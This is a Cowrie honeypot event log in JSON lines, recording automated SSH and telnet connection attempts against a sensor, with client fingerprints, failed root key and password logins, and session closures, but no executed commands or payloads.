{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:70:da:61:5b:a4:6a:5d:b6:99:98:10:43:c6:a5:fe","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO0UpTrGNE7UuBCKL2iLvUr46+V5tf03Y3TpIc/mNTKPL0rEI2sPisZMpRkdQqx2CRBtpTxAOUJ9R31/PofkfB8tAS5avdW4pYGysFe85qN323JhbOJbh2U/y40V3Q4WQWYSj4FFJdItyQPZjn1eizXBB1uCP8+XQH63AWdBh5Z/AAAAFQC+l/XXHzd9MKEa01yIQ3sfpcc8zQAAAIB8HIhuZO7OGNg8iRxZzicnZHhC3V5d57+1C+8PJseOcNnc2NAV3F2PboF1kL6kimviBR8ZO3vXAZBy8PcYRiI739PxH5AGIJNgYLe3jhrBOybi4xcuvzyzho7Go/p16So9qqNkjQuHyaDHbxxdUMywOrB9lh2RmUzzZ0F7gCNzUQAAAIBjUxiFoxu3KkaihVWQ3hMJSnHtTytpgFNkaouS5Lz+GMbMD7IIQqskQu3xmMrYyUGTSTCiASlNOIzOBB7GkSrlrZeV62X80Zm+qYj7gx3qfPv6VaXJM4IqrVgMYNFGBtL5LtPMnh4us+c+YnEgQ1qR2+t7Z9P7p6SJsxyzfrVKqA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 71:70:da:61:5b:a4:6a:5d:b6:99:98:10:43:c6:a5:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:30.577914Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:70:da:61:5b:a4:6a:5d:b6:99:98:10:43:c6:a5:fe","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO0UpTrGNE7UuBCKL2iLvUr46+V5tf03Y3TpIc/mNTKPL0rEI2sPisZMpRkdQqx2CRBtpTxAOUJ9R31/PofkfB8tAS5avdW4pYGysFe85qN323JhbOJbh2U/y40V3Q4WQWYSj4FFJdItyQPZjn1eizXBB1uCP8+XQH63AWdBh5Z/AAAAFQC+l/XXHzd9MKEa01yIQ3sfpcc8zQAAAIB8HIhuZO7OGNg8iRxZzicnZHhC3V5d57+1C+8PJseOcNnc2NAV3F2PboF1kL6kimviBR8ZO3vXAZBy8PcYRiI739PxH5AGIJNgYLe3jhrBOybi4xcuvzyzho7Go/p16So9qqNkjQuHyaDHbxxdUMywOrB9lh2RmUzzZ0F7gCNzUQAAAIBjUxiFoxu3KkaihVWQ3hMJSnHtTytpgFNkaouS5Lz+GMbMD7IIQqskQu3xmMrYyUGTSTCiASlNOIzOBB7GkSrlrZeV62X80Zm+qYj7gx3qfPv6VaXJM4IqrVgMYNFGBtL5LtPMnh4us+c+YnEgQ1qR2+t7Z9P7p6SJsxyzfrVKqA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:30.581793Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:d1:13:9a:91:be:40:a2:a9:d2:04:32:25:da:8d:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb/ch0GEsqsebBTvndmli3WJPW79w1WPa7cpzYKWFoD+jcjTqMAG+dbCrh56F/R3QUHzOTo32ynV5TTZA/+P6yhzb/7THegy3sstN7Peq8sq8kU2YFiHIQynVT5fzR8w26c3Zv9+5hL3BxTdBmTYO49AQIx9nx6oZ1KzfJjLzBk00QX4wU0SR3sGSpIshhi4QEjpijLd2MX26hiMnoI3fguDtIztbnFNvy77A4CboF51AtLjqQQ8uNeLOTlM7TVnMrML4a7x0a1R20LZlaP85Xg9Vr3NXUjHXjFgNRRJZ5vFuUc3ets4bX/f4zyXDdx6zuM3YQJ/g3C9w1GMHq0G//","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:d1:13:9a:91:be:40:a2:a9:d2:04:32:25:da:8d:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:30.658349Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:d1:13:9a:91:be:40:a2:a9:d2:04:32:25:da:8d:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb/ch0GEsqsebBTvndmli3WJPW79w1WPa7cpzYKWFoD+jcjTqMAG+dbCrh56F/R3QUHzOTo32ynV5TTZA/+P6yhzb/7THegy3sstN7Peq8sq8kU2YFiHIQynVT5fzR8w26c3Zv9+5hL3BxTdBmTYO49AQIx9nx6oZ1KzfJjLzBk00QX4wU0SR3sGSpIshhi4QEjpijLd2MX26hiMnoI3fguDtIztbnFNvy77A4CboF51AtLjqQQ8uNeLOTlM7TVnMrML4a7x0a1R20LZlaP85Xg9Vr3NXUjHXjFgNRRJZ5vFuUc3ets4bX/f4zyXDdx6zuM3YQJ/g3C9w1GMHq0G//","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:30.662593Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:48:31:59:90:19:36:9b:a9:4b:c4:25:fb:03:ee:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmOuJzSOU0PbnadKavxBFUaw01EIPQXFwfK5z8Qk7ifGFTtHDV/2jvPNhFTtSXeSq8JUyA9PIL+xsrH65VEPa8xrrKJ4CAuCG2A/HYLMJsLC8gTufIsGrxYUmIv74Zvd7elTAeLtuzr6GlBqJx4dIaPjB+4gD/RkTRGowz7YlapN4rQkSsNAkAiq4B994v3f4nvt91XXVKVvgQr3skIsUsruIl2iWKQ7IrI1Y6IycK2L8+M4jlf01X/bEUugLwDQOBdwUpc66mkluHjhKZ+iwFm0Hm7KePTdRQp0+YyG7KxdNeAdVUQQwFk0XR1e/OLKAPvQ17R0/qEvlr7zjK+Thb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:48:31:59:90:19:36:9b:a9:4b:c4:25:fb:03:ee:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:30.741888Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:48:31:59:90:19:36:9b:a9:4b:c4:25:fb:03:ee:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmOuJzSOU0PbnadKavxBFUaw01EIPQXFwfK5z8Qk7ifGFTtHDV/2jvPNhFTtSXeSq8JUyA9PIL+xsrH65VEPa8xrrKJ4CAuCG2A/HYLMJsLC8gTufIsGrxYUmIv74Zvd7elTAeLtuzr6GlBqJx4dIaPjB+4gD/RkTRGowz7YlapN4rQkSsNAkAiq4B994v3f4nvt91XXVKVvgQr3skIsUsruIl2iWKQ7IrI1Y6IycK2L8+M4jlf01X/bEUugLwDQOBdwUpc66mkluHjhKZ+iwFm0Hm7KePTdRQp0+YyG7KxdNeAdVUQQwFk0XR1e/OLKAPvQ17R0/qEvlr7zjK+Thb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:30.744737Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:30.819574Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00166273117065,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:31.826442Z","src_ip":"152.42.224.71","session":"c343d51eaccc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00365352630615,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:34.508228Z","src_ip":"152.42.224.71","session":"e5e0156fbb82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.221.176.152","src_port":46022,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f0b2e3b6056","protocol":"ssh","message":"New connection: 206.221.176.152:46022 (10.17.0.5:22) [session: 7f0b2e3b6056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.656609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.661032Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.667479Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:66:02:86:f5:7c:f3:39:e2:84:d3:1d:2f:67:be:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmlk4IxlBD1s4R9penZG54WldKPELrPAIaPBKS7shhtnMzejetDobG76Zl+9b2gwOJYmCcdhgZxdH1EvTGYJ2rtHw2wFPGECzoGfFbGX2YN0TIm5z0bf8JVc6+jrpyHXjHrStit88+Mm7fndtHqtdE+4mvQ4RzH9H1Vp55Esfy4+aqOym5XCB9G2wrosfT0aK+lWTGUQ1YRobK/K/jiu3RDf9O+vXFzYQGhSCe/0nqD4/yxs3tm6buoBW+Av/dY6dwb73AWWj0NdW0Qh7kwNnqy0DypASqAOdYDKxuZgKIDWijNtY5Xn5ncgCG335zWh+Zl+om+Fnx50NcesuU3hOh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:66:02:86:f5:7c:f3:39:e2:84:d3:1d:2f:67:be:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.682591Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:66:02:86:f5:7c:f3:39:e2:84:d3:1d:2f:67:be:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmlk4IxlBD1s4R9penZG54WldKPELrPAIaPBKS7shhtnMzejetDobG76Zl+9b2gwOJYmCcdhgZxdH1EvTGYJ2rtHw2wFPGECzoGfFbGX2YN0TIm5z0bf8JVc6+jrpyHXjHrStit88+Mm7fndtHqtdE+4mvQ4RzH9H1Vp55Esfy4+aqOym5XCB9G2wrosfT0aK+lWTGUQ1YRobK/K/jiu3RDf9O+vXFzYQGhSCe/0nqD4/yxs3tm6buoBW+Av/dY6dwb73AWWj0NdW0Qh7kwNnqy0DypASqAOdYDKxuZgKIDWijNtY5Xn5ncgCG335zWh+Zl+om+Fnx50NcesuU3hOh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.685847Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:b0:60:2f:2b:54:66:ae:e8:9b:98:19:97:40:ad:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDToK/7Cv0vRzUebM1FG6jYFdQ5pQVUaG/3TSSxLpzODDGL3QdVYin7f+ZcPM8CwYgYQBEqq/OrqIHYZWbntBvR+25drQ0eqE/0C/b/BeDGv3ahtOyksdTaTNDCrc7nWH1Qz4kK5hARyKe5w0W/DSg850Gt/rfwp2xzbimOd+gHjfc3qh0O6KnqpMqAsf+FRrk65xicuNVKgn0BFYXwsBDwodZpih/KNO4W4WmDYE3fYZOicNu37R9E88iBKHeq7Q3m3gS966QgV5EoCDrSBDBsEdf235fR9+/KfYYJGzSMhmFrBg8nKZa+7n5XJ+6QrGmxZu4Zg1Iuq1hDpy4DKMHp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:b0:60:2f:2b:54:66:ae:e8:9b:98:19:97:40:ad:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.695478Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:b0:60:2f:2b:54:66:ae:e8:9b:98:19:97:40:ad:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDToK/7Cv0vRzUebM1FG6jYFdQ5pQVUaG/3TSSxLpzODDGL3QdVYin7f+ZcPM8CwYgYQBEqq/OrqIHYZWbntBvR+25drQ0eqE/0C/b/BeDGv3ahtOyksdTaTNDCrc7nWH1Qz4kK5hARyKe5w0W/DSg850Gt/rfwp2xzbimOd+gHjfc3qh0O6KnqpMqAsf+FRrk65xicuNVKgn0BFYXwsBDwodZpih/KNO4W4WmDYE3fYZOicNu37R9E88iBKHeq7Q3m3gS966QgV5EoCDrSBDBsEdf235fR9+/KfYYJGzSMhmFrBg8nKZa+7n5XJ+6QrGmxZu4Zg1Iuq1hDpy4DKMHp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.699118Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:7e:f5:dd:f4:cb:00:9d:61:a0:a0:38:ca:47:5b:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOn94PSk7Exs5HUavWoeil/LdFKAOU5zafs1RBv1UCMQd8tBITTGXrOmsl9SamnwFKui+7Yb/vhLZ8HeuWgyxoETCzFwViXK3ZOdiwSS0+ilZGR+i1AbGI9eFcA696HA5fsPYdvtbu3RZNitSICTATt1DLjuciaSGhtu7tIg7FGque5ZwkJx7HQ9VxIP1JCkpsR5Hc8GrynfxtHQ0zckBZ9pGG21rZEeS9TSX9E+XctPHhBoSNxVUaR+p6wQhUSUCyX5GjJ9H7CJcVXNOTWTOCbX4aACDM2Wf+/roY+PTlDevHEwMfAEDSNNV/6Lose0Y6FFwy16apURZuVyWbdD0YV/AUVLHp0lY72XlVHLXh7q1abjB3iR8qXaD4gQcxDoB7pXt76E3AVt0FtzO+k31wJvhfePoiqDK8yUbEj18bi2NenyfByMQ0Y3O/XbC08y0L/EVFdb4toJgU8hpaEHBH0gYMJDKxqqCDcuxiBkRO77y7Qe4At2pgiH5fZ3prBjk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:7e:f5:dd:f4:cb:00:9d:61:a0:a0:38:ca:47:5b:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.706803Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:7e:f5:dd:f4:cb:00:9d:61:a0:a0:38:ca:47:5b:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOn94PSk7Exs5HUavWoeil/LdFKAOU5zafs1RBv1UCMQd8tBITTGXrOmsl9SamnwFKui+7Yb/vhLZ8HeuWgyxoETCzFwViXK3ZOdiwSS0+ilZGR+i1AbGI9eFcA696HA5fsPYdvtbu3RZNitSICTATt1DLjuciaSGhtu7tIg7FGque5ZwkJx7HQ9VxIP1JCkpsR5Hc8GrynfxtHQ0zckBZ9pGG21rZEeS9TSX9E+XctPHhBoSNxVUaR+p6wQhUSUCyX5GjJ9H7CJcVXNOTWTOCbX4aACDM2Wf+/roY+PTlDevHEwMfAEDSNNV/6Lose0Y6FFwy16apURZuVyWbdD0YV/AUVLHp0lY72XlVHLXh7q1abjB3iR8qXaD4gQcxDoB7pXt76E3AVt0FtzO+k31wJvhfePoiqDK8yUbEj18bi2NenyfByMQ0Y3O/XbC08y0L/EVFdb4toJgU8hpaEHBH0gYMJDKxqqCDcuxiBkRO77y7Qe4At2pgiH5fZ3prBjk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.712084Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:0e:58:98:a2:f5:23:af:e1:a7:95:5a:ec:c9:56:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6dGh+u8ktwyGZ0YjktDOucozEwhXNozQ5uI9ErBqZl/GzJoQOUmiEE5CcsHbiQ2WycL5/eri+yaa1z43Sgk+hj55hqPK64zP7DPw2c/dzrYZ6uEYapBZfDZmzrkG4l4p3OgDwFFIb/VOtvEQ2Uhi+Ryap1RXOJfrbxHPLnZiybSOKiF2faBF7EenJwP7MHzKkn0h5X4kDbzcYMC7ShByo2Ps2sGhIUwb/ailDs7USUJc6x+ZB7+/5Tq1FmCDJDu7A/BXpxQbsU7Kq+70NavOIMn4xGWE1smhA46GbsBsD0DsgzyqOY2yT+iEOpDTAAxVkby2SKRmymhfa3F1WTCvDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:0e:58:98:a2:f5:23:af:e1:a7:95:5a:ec:c9:56:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.723143Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:0e:58:98:a2:f5:23:af:e1:a7:95:5a:ec:c9:56:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6dGh+u8ktwyGZ0YjktDOucozEwhXNozQ5uI9ErBqZl/GzJoQOUmiEE5CcsHbiQ2WycL5/eri+yaa1z43Sgk+hj55hqPK64zP7DPw2c/dzrYZ6uEYapBZfDZmzrkG4l4p3OgDwFFIb/VOtvEQ2Uhi+Ryap1RXOJfrbxHPLnZiybSOKiF2faBF7EenJwP7MHzKkn0h5X4kDbzcYMC7ShByo2Ps2sGhIUwb/ailDs7USUJc6x+ZB7+/5Tq1FmCDJDu7A/BXpxQbsU7Kq+70NavOIMn4xGWE1smhA46GbsBsD0DsgzyqOY2yT+iEOpDTAAxVkby2SKRmymhfa3F1WTCvDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.727515Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:8b:72:3e:9a:64:78:a2:8b:16:5c:bb:52:4e:4d:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn57fF2Zm9NLYxWyckLVv3nAxP+1dcEs9JUAkH44S9Pz4/qlW+TYR0TMfmTXBmjS9MlR92v5wzxW4ZICkh3ggSrwov55mHb8JjJ/bv8Psp1+4ceBv4zACjnGPXV689EcBnqe4RgtKGxdh675QnBPCmP3tqR0s93uhAV947OruYI58L+8CulXgQqCNmONGeW54b77DKxdkNAaPYmsytWCSGVAJ2vFjjoWs0mrUSgV9KibrKspxb69/cmUF1SBgsSsK4Tff5F+9kWpEp7gOqXq5WjJljSaurk2SUUvSn1rOa5J8+D3RPJnXULgq8ZB1bOsdAbrrxrIX7ZPcpAmA48T7RQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:8b:72:3e:9a:64:78:a2:8b:16:5c:bb:52:4e:4d:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.741067Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:8b:72:3e:9a:64:78:a2:8b:16:5c:bb:52:4e:4d:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn57fF2Zm9NLYxWyckLVv3nAxP+1dcEs9JUAkH44S9Pz4/qlW+TYR0TMfmTXBmjS9MlR92v5wzxW4ZICkh3ggSrwov55mHb8JjJ/bv8Psp1+4ceBv4zACjnGPXV689EcBnqe4RgtKGxdh675QnBPCmP3tqR0s93uhAV947OruYI58L+8CulXgQqCNmONGeW54b77DKxdkNAaPYmsytWCSGVAJ2vFjjoWs0mrUSgV9KibrKspxb69/cmUF1SBgsSsK4Tff5F+9kWpEp7gOqXq5WjJljSaurk2SUUvSn1rOa5J8+D3RPJnXULgq8ZB1bOsdAbrrxrIX7ZPcpAmA48T7RQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.745412Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:44.755945Z","src_ip":"206.221.176.152","session":"7f0b2e3b6056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":42420,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8b33a17c9f1","protocol":"ssh","message":"New connection: 72.52.132.30:42420 (159.203.135.109:22) [session: f8b33a17c9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:46.397750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:46.403517Z","src_ip":"72.52.132.30","session":"f8b33a17c9f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:46.442164Z","src_ip":"72.52.132.30","session":"f8b33a17c9f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simplepass","message":"login attempt [root/simplepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:46.834634Z","src_ip":"72.52.132.30","session":"f8b33a17c9f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:47.869514Z","src_ip":"72.52.132.30","session":"f8b33a17c9f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55624,"dst_ip":"10.17.0.5","dst_port":23,"session":"03332e669804","protocol":"telnet","message":"New connection: 152.42.224.71:55624 (10.17.0.5:23) [session: 03332e669804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:54.061609Z"}
{"eventid":"cowrie.session.closed","duration":49.133705615997314,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:58.152229Z","src_ip":"152.42.224.71","session":"26e8daa9d0bd","protocol":"telnet"}
